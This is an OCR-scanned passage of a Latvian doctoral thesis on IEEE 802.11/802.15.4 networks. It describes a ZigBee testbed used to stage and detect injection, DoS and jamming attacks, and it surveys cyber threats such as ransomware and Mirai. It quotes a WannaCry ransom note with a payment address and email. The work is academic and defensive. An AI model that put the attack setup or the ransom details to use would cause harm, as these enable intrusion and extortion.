e latentums — laiks, kas nepiecieSams datu parraidei starp divam iericém. IEEE 802.11
tiklos latentums ir mazs, savukart IEEE 802.15.4 tiklos tas var but lielaks, 1paSi
sarezgitos tiklos;

e trice — datu pakeSu ieraSanas laika nevienmériba, kas ir Tpasi svariga reallaika lietotn&s,
pieme@ram, balss zvanu parraidg;

e pakeSu zudums — norada datu apjomu, kas netiek veiksmigi piegadats, ietekmgjot tikla

uzticamibu un veiktspgju.

Gan IEEE 802.11, gan

caurlaidspgja, RSSI, latentums un pakeSu zudums, ir butiski tikla darbibas un kvalitates

IEEE 802.15.4 tiklos veiktsp&jas mérijjumi, pieméram,
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nodroSinasanai. IEEE 802.11 koncentrgjas uz augstas veiktspgjas lietotném ar lielu datu
apjomu un augstu caurlaidsp&ju, savukart IEEE 802.15.4 prioritate ir energoefektivitate un
uzticamiba zema apjoma datu tiklos. So parametru detalizéta analize lauj optimizét tiklu
darbibu, uzlabot lietotdja pieredzi un nodroSinat efektivu resursu izmantoSanu dazadas

lietojuma vides.

IEEE 802.11 un IEEE 802.15.4 standartu integréSana eksperimentala
hibridtikla un ta veiktspejas izpete

Balstoties promocijas darba sakotn&ji izvirzitajas tézes, darba izstrades gaita tika izveidots
eksperimentals hibridtikls, kura integrétas IEEE 802.11 un IEEE 802.15.4 standartu ierices.
Hibridtikla struktiira paredz izmantot IEEE 802.15.4 standarta ierices sensoru datu iegliSanai
un sakotngjai apstradei, p&c tam nododot datus caur tikla varteju, kas darbojas p&c IEEE 802.11
standarta. Sada pieeja lauj novertst IEEE 802.15.4 tikla caurlaidsp&ju un signala stipruma
raditajus realos lietojuma apstaklos, ka ari izpétit tiklu integracijas efektivitati un identificet
iesp&jamas problémas hibrida struktiras.

loT tiklu pétijumu kontekstd, ipa$i to caurlaides sp&jas un signala stipruma (RSSI)
meérisanai, tika izstradata testa stenda shéma, kuras pamata ir vairakas Raspberry Pi 4 Model B
ierices un specializ&tas ZigBee iekartas.

Pirma Raspberry Pi darbojas ka “komutators” pieslégtajam ZigBee iekartam, izmantojot
RaspBee Il moduli, kas uzstadits uz GPIO piespraudém. Papildus tam pie §is paSas Raspberry
Pi, izmantojot USB pieslegumu, ir pievienots CC2531 adapteris ar Killerbee bazetu
programmaparatiiru, kas paredzets bezvadu tiklu IEEE 802.15.4 droSibas analizem (ieladétu ar
CC-Debugger no Texas Instruments). Sis adapteris kalpo par pake$u uzraugu (anglu val.
sniffer), savukart autors ir izstradajis Python skriptus, ar kuru palidzibu tiek registréta ZigBee

tikla datpliisma, mérits signala stiprums un vértéta tikla caurlaides sp&ja [61-62, 65, 83-84].
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1.9. att. Raspberry Pi vienkarSdatora platforma ar pievienotu RaspBee Il Zigbee vartejas

moduli bezvadu tiklu izveidei.

Otra Raspberry Pi pilda uzbrucgja funkciju. Tai, izmantojot USB pieslégumu, ir pievienots
RZUSBstick (razotajs — Atmel), kas arT parprogrammeéts ar KillerBee biblioteku, lietojot Atmel
programmgétaju un Microchip Studio. Ar Ipasu Python skriptu palidzibu $T konfiguracija spgj
veikt uzbrukumus IEEE 802.15.4 tiklam, piem&ram, pake$u injic€$anu, DoS (anglu val. Denial
of Service) uzbrukumus, ka ari tikla traucéSanu (anglu val. jamming) ar palielinatu raidita
signala jaudu, veidojot launpratigus kadrus, kas var paralizét tikla darbibu un sagrozit

parsititos datus [61-65].

1.10 att. Raspberry Pi vienkarSdatora platforma ar RZUSBstick Zigbee adapteri bezvadu tiklu

analizei un datu parsiitiSanai.
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Eksperimentalaja scenarija visas minétas iekartas darbojas IEEE 802.11 bezvadu tikla 5
GHz frekvenéu josla, savukart 2,4 GHz diapazons eksperimenta laika bija islaicigi atslégts, lai
samazinatu argjo radio traucjumu (interferences) ietekmi uz Zigbee (IEEE 802.15.4) tikla
mérfjumiem. Janem veéra, ka redlos ekspluatacijas apstaklos 2,4 GHz frekvendu josla Wi-Fi
tiklu klatbiitne ir neizb&gama, 11dz ar to, lai ieglitu precizaku un prakse vertigaku novertgjumu,
turpmakie eksperimenti butu javeic ar 2,4 GHz ieslégtu Wi-Fi joslu, novértgjot realas vides
apstaklu ietekmi uz IEEE 802.15.4 tikla darbibu un caurlaidsp&ju.
Lai atklatu un novérstu uzbrukumus, atsevi§ka stacija ar Kali Linux ir pieslégts vél viens
CC2531 (ar KillerBee sniffer programmaparatiiru) un HackRF One. Sis iekartas nepartraukti
uzrauga frekvencu joslu un analizé ZigBee trafiku, savukart, konstatgjot apdraudéjumu, spgj
iedarbinat pretpasakumus, tostarp kaitigo kadru trauc&Sanu no RZUSBstick, izmantojot pasa
izstradatus Python skriptus. Gan CC2531, gan HackRF One var darboties vienlaikus viena
Python procesa ietvaros, apvienojot Zurnalfailus, pakeSu analizi un apakSprocesa
funkcionalitati [61, 64, 85].
Pirmaja testu sérija tika iesaistitas visas stenda sastavdalas — ZigBee komutators, mezgli,
kas savstarpgji apmainas ar datiem, ka arT pakeSu uzraugs (anglu val. sniffer), kas registré
sttitos kadrus. Rezultati paradija, ka:
e erices sekmigi savstarp&ji sazinas caur komutatoru, apmainoties ar paketém un
RTS/CTS komandam atbilsto$i IEEE 802.15.4 standartam;

e pakeSu uzraugs korekti fiks€ un interprete paketes, taja skaita informaciju par signala
Iimeni (RSSI) un caurlaidsp&ju;

e izstradatie skripti uzbriikoSajam mezglam (pakeSu injekcija, DoS uzbrukums un

trauc€Sana) strada saskana ar definéto scenariju.

1.11. att. CC2531 USB Zigbee analizators ar pastiprinatu aréjo antenu bezvadu tiklu

uzraudzibai.
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Meginot iestatit -90 dBm ka trauc€Sanas signala Iimeni, faktiski tika novertéti aptuveni —

70 dBm. Iesp&jamie iemesli ir §adi:

e ieri¢u tuvums citai pie citas (stenda fiziskie faktori);

e RSSI kalibrésanas un shiffer interpretacijas ipatnibas.

Papildus tika palaists aizsardzibas modulis, kas ietver Kali Linux darbstaciju ar HackRF
One un CC2531 adapteri. Sistéma tika konfiguréta, lai analiz&tu un blok&tu specifiskus IEEE
802.15.4 tikla uzbrukumus, izmantojot KillerBee un Scapy bibliotekas [85].

Uzbrukuma modelis ietvéra HackRF One SDR izmantosanu, lai aktivi traucgtu (anglu val.
jamming) specifiskus Zigbee tikla pakesu galvenes, kas tika generétas ar RZUSBstick ierici. Lai
uzraudzitu un detektetu Sos uzbrukumus, tika izmantots CC2531 adapteris Zigbee tikla
monitorg$anai, laujot identific€t un analiz&ét trauc€jumu ietekmi uz tikla darbibu.

CC2531 kopa ar KillerBee nodrosinaja specifisku pakesu uztverSanu un analizi, balstoties
noteiktajos galvenes parametros. ST metode lava atpazit traucgjumu veidu un veikt atbilstosas
darbibas uzbrukuma blok&Sanai, pieméram, modificét tikla konfiguraciju vai automatiski
atkartoti izveidot tikla sesijas ar jauniem parametriem.

Sakotngjie noverojumi rada, ka §1 pieeja efektivi lauj detektét un analizét SDR balstitus
uzbrukumus pret Zigbee tiklu, tacu nepiecieSami papildu testi dazados tikla slodzes un

trauc@jumu scenarijos, lai novertetu aizsardzibas mehanisma veiktsp&ju.

Secinajumi

Saja nodala detalizéti apliikoti divi tikla standarti — IEEE 802.11 un IEEE 802.15.4,
skaidrojot to pamatprincipus, darbibas Tpatnibas un analizgjot saistitos tikla protokolus. Turklat
ir aprakstita eksperimentala stenda koncepcija, K0 planots izmantot turpmakajos p&tjjumos, lai
noteiktu signala [imeni un caurlaides sp&ju dazados scenarijos, tostarp saistiba ar potencialam
ievainojamibam un mainigos tikla darbibas apstaklos.

Turpmakajas nodalas tiks piedavati vairaki matematiskie modeli, kas laus vispusigi
novertet tikla darbspéju, ja tiek izmantotas ievainojamibas, ka arT tiks savstarpgji salidzinatas
dazadas pieejas. Papildus tiks apskatits simulacijas modelis, kas parada IEEE 802.15.4 tikla
uzvedibu teorétiski idealos apstaklos, lai varétu salidzinat praktiskajos eksperimentos un

modelé$ana iegiitos rezultatus.

51



KIBERDROSIBAS PAMATPRINCIPI. DRAUDI,
AIZSARDZIBAS STRATEGIJAS UN RISINAJUMI

Kiberdrosibas koncepta definéSana un ta lietojuma aspekti

Ka minéts ieprieks, informacijas tehnologiju sistémas pastav butisks jeédziens —
kiberdrosiba (anglu val. cybersecurity), kas ietver dazadu aizsardzibas mehanismu izveidi, lai
pasargatu gan pasu sisteému, gan tas vidi no uzlauSanas, launpratigas programmatiiras, ka arl
datu zadzibas un nopliudes. To veic apmaciti tikla drosibas specialisti jeb, citiem vardiem sakot,
kiberdrosibas analizu inZenieri.

Tadiem specialistiem ir jabtt proaktiviem, japardoma un jaaprekina visi iesp&jamie tikla
ekosistémas riski un ievainojamibas, ka arT janostiprina tikla aizsardzibas pasakumi. Ta ir viena
no IT jomas nozarém, kiberdro§ibas specialisti galvenokart strada iericu sist€émas dala,
pastavigi kontrolgjot, vai sistéma ir aizsargata un vai pati infrastruktiira darbojas nevainojami.
Eksisté ar1 specialisti, kas nodarbojas ar specifiskam lietam, piem&ram, lietotnu dro$ibas
komanda (anglu val. App Security), kas darbojas ar timekla vietnu un pakalpojumu (Apache
vai Nginx) drosibu [8].

Ka jau iepriek§ minéts, Apache HTTP Server ir viens no visplasak izmantotajiem timekla
serveriem, un tas ir izplatits daudzas korporacijas un organizacijas. Saskana ar Stackscale (laaS
pakalpojumu sniedzgja) 2022. gada datiem Apache HTTP Server izmantoja 31,2 % uznémumu
visa pasaulé [7]. Otrs popularakais timekla serveris ir Nginx, kas tiek plasi izmantots, tacu tas
nav tik izplatits ka Apache HTTP Server.

Runajot par Apache ievainojamibam, 2022. gada 26. aprili tika atklata kritiska
ievainojamiba Apache CouchDB (dokumentu orientéta atvérta pirmkoda datubazg), kas bija
saistita ar attalinatu koda izpildi (RCE). Sai ievainojamibai tika pieskirts CVE numurs CVE-
2022-24706 [14]. Probléma radas nepietickamas autentifikacijas d€l, kas lava uzbrucgjiem
piekliit vaja noklusgjuma konfiguracijas sistémam, ieglt administratora tiesibas un veikt
attalinatu koda izpildi, datu nopladi vai launprogrammatiiras instalaciju [14].

AT ir specialisti, kas nodarbojas ar kiberuzbrukumu izmekléSanu, konkrétak, mekl&jot
sistémas ievainojamibas, kas ir radijusas iesp&ju uzlauzt sisttmu. Péc atklasanas var un
nepiecieSams nostiprinat konkréto vietu un sagatavot algoritmus, lai atpazitu un aptur&tu
lidzigus uzbrukumus. Kad interneta tiek publicéta informacija par jaunu ievainojamibu,

kiberspecialisti izmekle un parbauda sisteémas, kas var tikt apdraudgtas §Ts ievainojamibas dg].
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Specialisti analize ievainojamibu, tas potencialo ietekmi un izstrada detektorus (automatizetus
skriptus, kas var atklat ievainojamibu) [15].

Kiberdrosibas specialistu komanda katru dienu ar dro$ibas informacijas un notikumu
parvaldibas sistému (anglu val. security information and event management), tikla datpliismas
analizes sisttmu (anglu val. network traffic analysis) un timekla lietojumprogrammu
ugunsmira sistému (anglu val. web application firewall) palidzibu parbauda, kas notiek IT
infrastruktira, lai parliecinatos, vai ta darbojas bez trauc€jumiem [16].

Kiberdrosibas inzenieri bridina, ka $aja joma ir svarigi biit modriem, jo vienmeér ir jabiit
gataviem nakt klaja ar jauniem datortikla dro$ibas problému risinagjumiem. Tas ir nepartraukts
process, jo ir jaunas sisteémas, jauni programmatiras risingjumi un attiecigi ir ievainojamibas,
ko hakeri atrod un mégina uzlauzt. So risinajumu inZenieri meklg veidus, ka stiprinat sistemu.

Kiberdrosibas joma ir vairaku veidu uzbrucgji, kas iesaistas kibernoziegumos — ir “melnie”
uzbrucgji, kas atrod sistému ievainojamibas, lai giitu labumu sev un péc tam izmantotu tas
saviem “netiriem” merkiem. Ir arT “baltie” uzbrucgji, kas uzbrukumu pakalpojumus izmanto
dazadu uzpémumu mérkiem (saskana ar vieno$anos), lai palidz&tu noteikt icks&jas
ievainojamibas. Ir kiberdro$ibas komandas — “sarkanas” un “zilas” komandas (anglu val. red
and blue team), pirmas komandas p&ta un modelé kiberuzbrukumus, savukart otras — meklé
veidus, ka aizsargaties un noverst uzbrukumus.

Jebkuru infrastruktiiru var uzlauzt, galvenais — atrast un gribét to uzlauzt. Katru gadu
notiek starptautiska kiberdro$ibas sanaksme Positive Hack Days (Pozitivo uzbrukumu diena),
kura tiek izveidots pilsétas modelis ar visu infrastruktiiru, un uzbrucgji censas uzlauzt pilsétas
kontrolierus, kas ir identiski katra pilséta [86]. Visur ir janem véra cilvéciskais faktors, visur
pastav riski, un uzbrucgju darbibas rezultats var bt katastrofals, paralizgjot pilsétas ikdienu.

Daudzi kiberdro$ibas inzenieri uzskata, ka nav viena universala kibernoziedzibas draudu
risindjuma. Ir jaspgj aizsargat sava tikla infrastruktiira, nemot véra visus draudu veidus. Vairaki
aizsardzibas slani darbojas vienlaikus, novérSot procesu trauc&umus, piekluvi informacijai un
tas parveidosanu. ST aizsardziba ir nepartraukti jauzlabo, lai proaktivi cinitos pret jauniem
kiberapdraudgjumiem. Piemé&ram, lai uzlabotu lietojumprogrammu drosibu tas izstrades posma
un izvietoSanas laika, tiek izmantoti tadi veidi ka antivirusi un ugunsmiri, ka ar7 Sifré€Sanas
elementi [87].

Drosiba ir svariga arm makondatoros vai makonpakalpojumos, tap&c makonpakalpojumu
sniedz&ji (anglu val. Amazon Web Services, Google Cloud) galvenokart izvélas stingrus un
misdienigus drosibas veidus, lai aizsargatu sistémas, datus un pieejamibu. Drosiba makont

ietver datu kategorizaciju, datu zudumu noveérSanu un S§ifré€Sanu. Vienlaikus pastav ar1 loT
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drosiba. Protams, $ada veida drosiba ir atkarTga no konkrétas ierices un lietojumprogrammas,
tacu vienlaikus ir janodroSina dro$a ieri¢u atjaunina$ana un integracija [88].

lericu papildu dro§ibai ir janodroSina ari kritiski svarigu pakalpojumu, piemé&ram,
elektrotiklu, idensapgades, veselibas apriipes un citu svarigaku infrastruktiiru, drogiba. Sadam
infrastruktiiram jabiit nodrosinatam 24 stundas diennakti septinas dienas ned&la. Ja sisteéma tiek
paralizgta, tas var izraisit katastrofu. Ir jadoma ari par tikla un galapunktu drosibu, tie jaaizsarga
ar sarezgitam parolém, divu faktoru autentifikaciju un papildu iericém, pieméram,
ugunsmuriem.

Kiberdrosibas jautajums par informacijas drosibu ir virziens, lai nodro§inatu visu digitalo
un analogo datu konfidencialitati, integritati un pieejamibu. Pastav daudzi informacijas
drosibas veidi, tostarp lietojumprogrammu aizsardzibas, §ifréSana un tehnologijas avarijas seku
novérdana. So aspektu var uzskatit par informacijas drosibas virziena apakskopu — viens no
galvenajiem mérkiem ir datu aizsardziba, savukart informacijas drosibas virziens (anglu val.
Information Security) ir plasaks darbibas lauks [9, 89].

No citam jomam ir zinams, ka termins “noturiba” apzimé tehnologijas vai objekta spgju
saglabat savu pirmreiz&jo stavokli dazadu argjo faktoru ietekmé. Terminu var attiecinat arT uz
informacijas dro§ibas jomu, tapéc ir izveidojies termins “kibernoturiba”. To var lietot,
apzimgjot informacijas sistému darbibu datoruzbrukumu ietekmé kibertelpa [9, 87].

Visi informacijas jomas specialists, ka ar1 atbildigie par kiberdrosibu, apzinas, ka
misdienu pasaulé nav iespejams panakt absoliitu, simtprocentigu organizacijas informacijas
sisttmu un tiklu drosibu, tapec tiek veikti un izmantoti visi organizatoriskie un tehniskie
pasakumi kiberdro§ibas paaugstinasanai. Ir jasaprot, ka jebkuru programmu, sist€tmu un
infrastruktliru var uzlauzt. Sistéma ir iesp&jams iekllt, ja aizsardziba ir vaja vai inzenieri ir
bezatbildigi. Uzbrucgjiem tas ir tikai laika un resursu jautajums [87-89].

Starptautiskaja praksé ir izstradatas dazadas metodikas kiberdrosibas novérteSanai, viena
no tam ir kiberdro$ibas parskats (anglu val. Cyber Resilience Review, CRR). Tas ir metodisko
dokumentu kopums, ko izstradajis ASV Iekslietu drosibas departaments. Tas izstradats, lai
novertétu organizacijas kiberdroSibas noturibu, ka arT analiz€tu nepilnibas, kas jalabo,
pamatojoties uz atzitu labako praksi. Metodologija novérté korporativas programmas un

prakses 10 jomas.
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10.

Aktiva parvaldiba — CRR palidz organizacijam identificet kritiskos informacijas
aktivus un novertét to neaizsargatibu, ka ari noveértét tikla infrastruktiru, datu
glabasanas iekartas, lietojumprogrammas un citus riskus.

Kontroles parvaldiba — metodologija novérté drosibas politikas un kontroles
pasakuma esamibu un efektivitati. Noverté arl organizacijas atbilstibu informacijas
drosibas standartiem un normativajam prasibam.

Konfiguracijas un izmainu parvaldiba — metodologija noverté organizacijas sp&ju
atglities no droSibas incidentiem, ietverot datu, sisttmu un procesu atjaunoSanu,
atjaunoSanas planu efektivitates parbaudi.

Ievainojamibu parvaldiba — process, kas lauj organizacijam identificét, analizet un
noverst vajas vietas informacijas tehnologiju sistémas un tiklos.

Incidentu parvaldiba — analizé incidentu reaggSanas planus, tostarp atklasanas,
pazinoSanas, reag€Sanas un atjaunos$anas procediras.

Pakalpojumu nepartrauktibas parvaldiba - parbauda drosibas incidentu
uzraudzibas un atklasanas sisttmu esamibu un efektivitati. Tas var ietvert notikumu
registréSanas sistémas (IDS), ielausanas atklasanas sist€mas (IPS) un drosibas analizes
mehanismus.

Risku parvaldiba — ietver apdraudejumu un ievainojamibu identific€Sanu, novertéSanu
un mazinasanu.

Argjo atkaribu parvaldiba — process koncentrgjas uz tre§o pusu un ar&jo pakalpojumu
sniedzgju ietekmes novert€sanu uz organizacijas drosibu.

Apmaciba un informétiba — analiz€ personala apmacibas programmas un pasakumus
dro$ibas izpratnes palielina$anai. Novertg, cik liela méra organizacijas personals izprot
drosibas apdraudéjumus un to novérsanas veidus.

Informétiba par situaciju — nozime spgju izprast un analizet aktualos draudus un vajas

vietas organizacijas droSibas sistéma [90].

Kiberdrosibas parkapumu klasifikacija un to ietekme uz infrastruktiiru

Uzbrucgji izmanto dazadas uzlausanas metodes, lai ieklutu konkréta tikla vai datoru

infrastruktira un gitu labumu. Diemzgl uzbrucgji nevairas izmantot jebkadas metodes, lai
sasniegtu savus mérkus. Uzbrucgju merki ir dazadi — no informacijas izpirkSanas vai Santazas,
izglitoSanas un izklaidéSanas Iidz pat noteiktas infrastruktiiras atsp&joSanai vai pat

kiberspiegoSanai. Parsvara uzbrucgji (75 % gadijuma) vai kiberkrapnieki $adas lietas dara sava
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labuma giiSanas noluka, visdrizak, “netira” naudas pelniSanas noliika. Nozagto informaciju var
pardot konkurentiem, datubazi var pardot melnaja tirga jeb “melnaja timekIT” (anglu val.
Darknet) par noteiktu naudas summu kriptovaliita, galvenokart izmantojot bitkoinus (anglu val.
Bitcoin), jo ir griti izsekot kriptovalutas izcelsmi — krapnieki izmanto specialus mikserus
(anglu val. Bitcoin Mixer), kas sajauc darjjumus un slépj transakciju vésturi, tadgjadi padarot
valiitas izcelsmi praktiski neatpazistamu. Dazkart gadas, ka uzbrucgji iegiito informaciju $ifre,
izmantojot datu SifréSanas programmatiiru, un pieprasa izpirkuma maksu par informacijas
atSifréSanu, pret€ja gadijuma solot informaciju pilniba iznicinat vai nopludinat “melnaja
timekI” [91-92].

Sifrétaji jeb izspiedgjprogrammatiira — $ada veida hakeru biitiba ir $ifrét datus vai blokét
piekluvi tiem. Lietotajs zaud@ iespgju atvert dokumentus vai palaist nepiecieSamas
programmas. Sada veida launprogrammatiira sniedz noradijumus, ka jamaksa, lai atSifrétu
datus. Tadgjadi diezgan daudzu uzpnemumu datorsistémas ir uzlauztas, izmantojot tadas
programmas ka WannaCry vai Petya, kad lietotdjs, atverot programmu, zaudg€ pilnu piekluvi

datoram ta lietoSanas vai ieslégSanas posma.

Ooops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because they
have been encrypted. Perhaps you are busy looking for a way to recover your
files, but don't waste your time. Nobody can recover your files without our
decryption service

He guarantee that you can recover all your files safely and easily. All you
need to do is submit the payment and purchase the decryption key.

xse follow the instructions
. Send $388 worth of Bitcoin to following address
1SdzaAtNbBUX

. Send your Bitcoin wallet ID and personal installation key to e-mail
wonsMithl123456@posteon. net. Your personal installation key:

Ap5JUb-qhTAHy-HyeyS2-wugeNER-YtHOeR-w7NUMZ-11RBUq- fuudla-zpuvBdS-zelNGS

you already purchased your key, please enter it below.

2.1. att. Ekransavin$ ar WannaCry virusu péc datu $ifréSanas restartéSanas bridi [93].

P&c datora palaiSanas paradas “jauks” zinojums, kura teikts, ka jusu dati ir $ifréti, un, lai
atgltu piekluvi, lietotajam janostta dazi simti dolaru uz noradito “kriptomaku”, p&c tam
izspiedgji nositis noteiktu atslegu, lai atSifretu datus.

Popularakais uzbrukuma veids ir pikskerésana (anglu val. phishing). ST metode izmanto

kadas programmas izplati$anu saiSu vai e-pasta veéstulu veida, pievienojot to kadai reklamai vai
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svarigai véstulei no valsts iestadém. Sada veida e-pasta véstules var atpazit, ja lietotajs ir
tehniski zinos$s. Tas var atpazit péc attéliem, saitém, adresata pasta (loti biezs gadijums), ka arT
dazkart pec teksta satura (stilistikas un gramatikas kladas, slikti uzrakstits teksts). Ari Latvija
ir daudz gadijumu, kad tiek nosatita krapnieka véstule it ka no VID, Microsoft, Latvijas bankas
utt. [94].

Viens no izplatitakajiem kiberuzbrukumu veidiem ir launprogrammatiiras (anglu val.
malware) izplatiSana. Uzbrucgji izmanto dazada veida launprogrammatiru, lai ieghtu
nesankcioné&tu piekluvi sisttmam, nozagtu datus, traucétu IT infrastruktiiras darbibu vai pat
izmantotu sistémas talakiem uzbrukumiem (pieméram, botnet veidoSanai vai cryptojacking
operacijam). Kaitgjumu infrastrukttirai var nodarit skietami nekaitigi faili vai e-pasta pielikumi.
Sis programmatiiras veids atkiras un ir atkarigs no uzbrukuma mérka, iespgjamam sistémas
ievainojamibam un noziedznieku profesionalas sagatavotibas. Attieciba uz sist€émas
ievainojamibam noziedznieki var veikt datu noplidi vai kiberuzbrukumu, izmantojot sist€émas
ievainojamibas dazadas programmas, sakot ar operétajsisttmam Windows, Mac OS un Linux,
Apache vai Nginx timekla serveru ievainojamibam un beidzot ar 10T tikla infrastruktiiru un
iericeém.

Launpratigam programmattram ir daudz formu.

1. Virusi, kas var inficet failus, inficét paSu infrastruktiiru un kopét tas izpildamo kodu
citos failos un programmas.

2. Trojas zirgi (anglu val. Trojan horse) — kiberuzbrukuma metode, kur launpratigas
izpildes kods tiek maske&ts ka likumiga programmatiira vai fails.

3. Spiegprogrammatiira, kas uzrauga, ko lietotdajs dara sava datord, un var pilnigi
parnemt to sava kontrolg.

4. Botnets (anglu val. botnet) ir launpratigi kontroléts tikls, kas sastav no ar
launprogrammattiru inficétam iericem (botiem), tostarp datoriem, marSrutétajiem, IP

kameram, 10T iericém un citiem tikla mezgliem.

Botnets ir datoru vai ieri¢u kopums, kas veido vienotu tiklu, visa infrastruktiira ir inficéta
ar launpratigu programmatiiru, un to var kontrolét attalinati bez inficto ieri¢u ipasnieka
piekriSanas. Inficetos datorus botneta tikla sauc par botiem, un tos var izmantot dazadam
launpratigam darbibam, piem@ram, masveida kiberuzbrukumiem mazak droSam tiklam,
surogatpastu (anglu val. spam mailing) sttiSanai un ierices kontroles parnemsanai, DD0S

uzbrukumu (anglu val. Distributed Denial-of-Service) veik$anai dazadam infrastruktiram un
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citiem kibernoziegumu veidiem. Botnetu parasti kontrol€ attalinati, izmantojot komandu un
kontroles infrastrukttiru (anglu val. Command and Control), citiem vardiem sakot, izmantojot
komandrindu (anglu val. Command Line Client). ST kontroles metode lauj uzbrucgam siitit
komandas, sanemt atbildes un datus no inficétajam iericém. Plasi izplatits un pieradits ir fakts,
ka botnets izmanto DDoS, lai veiktu uzbrukumu dazados tiklos. Sis uzbrukums notiek, kad
uzbrucgji izmanto botnetu, lai parslogotu serveri, tiklu vai pakalpojumu ar lietu pieprasijumu
skaitu. Ta rezultata merka serveris vai tikls klust nepieejams likumigiem lietotajiem, jo tie
nevar apstradat ienakoSos pieprasijumus [47-49].

Populars $ada vieda uzbrukuma piemérs, kura tika izmantoti botneti, bija 2016. gada
notikugais uzbrukums uznémumam “Dyn”. Saja uzbrukuma uzbrucgji izmantoja Mirai botnetu,
kas ietvera l0T ierices, kas bija inficétas ar Mirai launprogrammatiiru. Uzbrukuma rezultata uz
laiku tika liegta piekluve vairakiem nozimigiem interneta pakalpojumiem un timekla vietném,
pieméram, Twitter (pasreizgjais nosaukums X), filmu straumésanas resursam Netflix, popularai
forumu vietnei Reddit u. c. [47-49].

Mirai ir launprogrammatiira, kas izstradata, lai izveidotu botnetus, kas sastav no loT
iericém, pieméram, IP kameram, l0oT marSrutétajiem un citam iericem ar internetu
savienojumu. Viruss izplatijas, skengjot internetu, meklgjot ierices ar neaizsargatiem
akreditacijas datiem vai vaju autentifikaciju (paroles un daudzfaktoru autentifikacijas
neizmantoSana). Pec skenéSanas programma infic€ja atrastas ierices, parversot tas par dalu no
botneta, ko var&ja izmantot dazadu kiberuzbrukumu veik3anai. ST launpratiga programmatiira
bija Tpasa ar to, ka ta sp&ja automatiski izplatities un infic&t jaunas ierices. Mirai un lidzigi
uzbrukumu veidi pievérsa plaSu uzmanibu l0T ieri¢u dro§ibas jautdgjumiem, akcent&jot

nepiecieSamibu p&c labakas aizsardzibas un dro$ibas pasakumiem $aja joma [47-49].

Lietu interneta tiklu drosiba. IEEE 802.15.4 standarta ievainojamibas un
aizsardzibas metodes

Drosiba loT un IEEE 802.15.4 tiklos ir viens no svarigakajiem loT tiklu aspektiem, nemto

vera, ka $ajos tiklos ir liels skaits dazada veida ieri¢u, kas var bat paklautas dazadiem

apdraud€jumiem.
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5. tabula

Galvenie IEEE 802.15.4 standarta dro$ibas aspekti un to nozime datu aizsardziba

DroSibas aspekts Apraksts
Datu konfidencialitate Datu aizsardziba parraid€ starp iericém un no
iericeém uz makonsistemu ir kritiski svariga.
Ta ietver datu SifréSanu, lai novérstu
nepiederoSu persona piekluvi un datu
partverSanu.
Datu integritate Integritates nodrosinasana ietver aizsardzibu
pret datu izmainu vai bojajumiem
parsutiSanas laika. Tas tiek panakts,
izmantojot autentifikacijas metodes un
digitalos parakstus.
Autentifikacija un autorizacija Autentifikacija apstiprina iericu un lietotaju
identitati pirms piekluves tiklam un ta
resursiem. Tas ir nepiecieSams, lai noverstu
neatlautu  piekluvi  un launpratigu
izmantoSanu.
Uzbrukumu atklasana un novérSana Uzbrukumu, pieméram, ielausanas un
launpratigas  darbibas, atklasanas un
novérsanas mehanismu izstrade palidz
aizsargat 10T no draudiem.
Drosibas atjauninajumi Regulara programmatiiras un aparatiras
dro§ibas atjauninajumu piegade 0T ieric€m
palidz noverst ievainojamibas un aizsargat
pret zinamajiem draudiem.
Fiziska drosiba 10T iericu un sistému piekluves drosibas
nodro§inasana, lai samazinatu neatlautas
piekluves un datu partversanas riskus.

0T tiklu drosiba ir viens no svarigakajiem aspektiem, kas janem veéra visos sist€mas
izstrades, ievieSanas un darbibas posmos. Lai nodrosSinatu efektivu aizsardzibu, nepieciesams
1stenot tadus principus ka uzticama savienojamiba, datu privatuma aizsardziba, informacijas
integritates saglabasana un aizsardziba pret dazadiem apdraudgjumiem. Sim noliikam tiek
izmantoti tehniskie risinajumi, piem&ram, kltidu noteikSanas protokoli, retranslacijas
mehanismi, autentifikacijas metodes un datu $ifré$ana. Sie pasakumi lauj pasargat 10T tiklus
no riskiem, pieméram, datu partverSanas, nesankcion&tas piekluves vai launpratigiem
uzbrukumiem. Papildus tam butiska loma ir energijas parvaldibai, ieri¢u fiziskajai aizsardzibai
un programmatiiras atjauninajumu regularai nodroSinasanai, kas palidz uzturét 10T sist€mu

dro$ibu un stabilitati ilgtermina.
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Lietu interneta tiklu drosibas riski. levainojamibas, draudi un aizsardzibas
mehanismi

Ir saprotams, ka loT tikli klast par arvien izplatitaku misu ikdienas dzives sastavdalu,
parvaldot dazadus majoklu, uzpémumu un sabiedribas sist€tmu aspektus, tostarp ari
agrokulttras, medicinas un viedas pilsétas. Tomér, pieaugot savienoto iericu skaitam, pieaug
arT apdraud@umu skaits, ar kuriem var nakties saskarties. Ka iepriek$ minéts, 10T tikli jau ir
bijusi paklauti Mirai uzbrukumiem. Saja apaksnodala autors apliiko tipiskus draudus un
ievainojamibas IEEE 802.15.4 tiklos un analiz€ sekas, ko tas var radit sistemu dro$ibai un
nepartrauktibai [47].

Nepietiekama iericu aizsardziba. 10T ierices nav aprikotas ar specigiem autentifikacijas
un autorizacijas mehanismiem, un tas ieverojami palielina to ievainojamibu pret
kiberuzbrukumiem. Uzbrukumu gadijuma, piem&ram, brute force paroles uzbrukumos,
uzbrucgji izmanto automatiskas paroles generé$anas skriptus, lai pieklatu datiem; izmantojot
noklusgjuma pilnvaras, ierices ar noklusgjuma iestatijumiem biezi klast par uzbrukuma meérki
un atri uzlauztas; lietojot programmatiiras injekciju (anglu val. Firmware Injection), uzbrucgji
ievieto kaitigu programmatiiru, izmantojot neaizsargatus atjauninajumu mehanismus. Sada
piekluve var veicinat lietotaja konfidencialo datu zadzibu, iericu izmantoSanu botnet tiklos,
DDoS un DoS uzbrukumu veiksanai [96].

Neaizsargati bezvadu savienojumi. 10T ierices biezi izmanto bezvadu tiklus, kas var biit
neaizsargati pret partverSanas vai uzlauSanas uzbrukumiem. Tadu savienojumu trikums péc
nokluséjuma nodro$inat drosu SifréSanu un autentifikaciju atstaj plasu uzbrukuma virsmas
laukumu. Uzbrukuma veids “cilveks-pa-vidu” (anglu val. Man-in-the-Middle) balstas fakta, ka
uzbrucgjs partver un maina datus starp divam ieric€m, saglabajot normalas sazinas izskatu;
atkartosanas uzbrukums (anglu val. Replay Attack) ir uzbrukuma veids, kad ieprieks partvertas
datu paketes tiek izmantotas atkartoti, lai manipul&tu ar iericém vai iegiitu piekluvi; traucé$anas
uzbrukuma (anglu val. Jamming Attack) gadijuma uzbrucgjs bloke radiofrekvences, ko izmanto
loT ftikla ierices, traucgjot to darbibu; sensitivo datu, piemeram, paroles vai lietotaja
